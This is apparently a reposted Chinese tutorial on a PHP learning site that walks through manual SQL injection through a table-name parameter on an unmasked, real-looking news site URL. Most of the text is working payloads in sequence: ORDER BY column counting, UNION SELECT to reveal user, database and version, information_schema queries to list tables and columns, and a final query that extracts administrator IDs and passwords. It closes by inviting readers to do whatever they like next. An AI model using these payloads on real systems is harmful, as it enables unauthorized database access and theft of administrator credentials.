来源:自学PHP网 时间:2015-04-17 13:03 作者: 阅读:次
[导读] 数值型和字符型比较常见,再有就是搜索型和cookies型的了,遇到一棒子站存在表名注入,什么穿山甲呀,萝卜呀统统认不出来这个点(也可能是我没配好),不过确实是个注入点,只好...
数值型和字符型比较常见,再有就是搜索型和cookies型的了,遇到一棒子站存在表名注入,什么穿山甲呀,萝卜呀统统认不出来这个点(也可能是我没配好),不过确实是个注入点,只好手工搞了。
注入点(就不打码了):
http://www.2cto.com /news/print_paper.php?number=150683&news_article=news_article
加单引号报错如下:
表名注入
由此可得知,这个脚本中至少执行了两次数据库操作。
第一条SQL:
SELECTDATEFROM news_article WHERE date_order >=668740920ORDERBY date_order LIMIT1
第二条SQL:
SELECT*FROM news_article WHERENUMBER='150683'
由于SQL中存在where语句,所以若想从表名注入就得把后面的注释掉,这里使用“;–”。
ORDERBY1;--
返回正常页面
ORDERBY2;--
这个时候第一句SQL就报错了,原因你懂的,而且这里查询的字段名为“date”,根据我个人的数据库设计经验,通常这个字段不会是字符型,也就不利于后续进一步注入,果断不管它。
ORDERBY20;--
正常(除了第一条SQL,后面就不提了)。
ORDERBY50;--
报错(第二条)。
ORDERBY40;--
正常
ORDERBY45;--
报错
ORDERBY43;--
报错
ORDERBY42;--
正常
好了,现在可以确定第二条查询语句有42个字段,接下来用union。
WHERE1=2UNIONSELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,2829,30,31,32,33,34,35,36,37,38,39,40,41,42;--
表名注入
从返回的结果与正常页面对比来看,字段2,6,7,16都是字符型。
爆数据库版本,用户名,数据库名:
WHERE1=2UNIONSELECT1,USER(),3,4,5,DATABASE(),version(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42;--
得到版本:5.0.90-log;用户名:upnews@61.97.139.36;数据库名:upnews
这就好办了,有information_schema可以用!
爆表(0x75706e657773是upnews的十六进制):
WHERE1=2UNIONSELECT1,2,3,4,5,(SELECT group_concat(TABLE_NAME)FROM(SELECTTABLE_NAMEFROM information_schema.TABLESWHERE table_schema=0x75706e657773 LIMIT0,10) a),7,8,9,10,11,12,13,14,15,(SELECTCOUNT(TABLE_NAME)FROM information_schema.TABLESWHERE table_schema=0x75706e657773),17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42;--
由于第一次用group_concat()直接爆,发现爆出的表个数有误,而且出现表名截断现象,所以上面的爆表语句又使用了子查询,通过limit进行分页查询,每次只查出10张表名。
爆字段(0x6e6577735f61646d696e5f6d656d626572是news_admin_member的十六进制):
WHERE1=2UNIONSELECT1,2,3,4,5,(SELECT group_concat(column_name)FROM(SELECT column_name FROM information_schema.COLUMNSWHERETABLE_NAME=0x6e6577735f61646d696e5f6d656d626572) a),7,8,9,10,11,12,13,14,15,(SELECTCOUNT(column_name)FROM information_schema.COLUMNSWHERETABLE_NAME=0x6e6577735f61646d696e5f6d656d626572),17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42;--
爆值:
WHERE1=2UNIONSELECT1,2,3,4,5,(SELECT group_concat(concat(id,0x7c,pass))FROM news_admin_member),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42;--
后面的,谁想干啥就干啥吧…o(∩_∩)o 哈哈
可以看出来其实表名注入很像数值型注入,甚至比其它类型注入更好用,因为表名之后的SQL完全可以自由控制
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com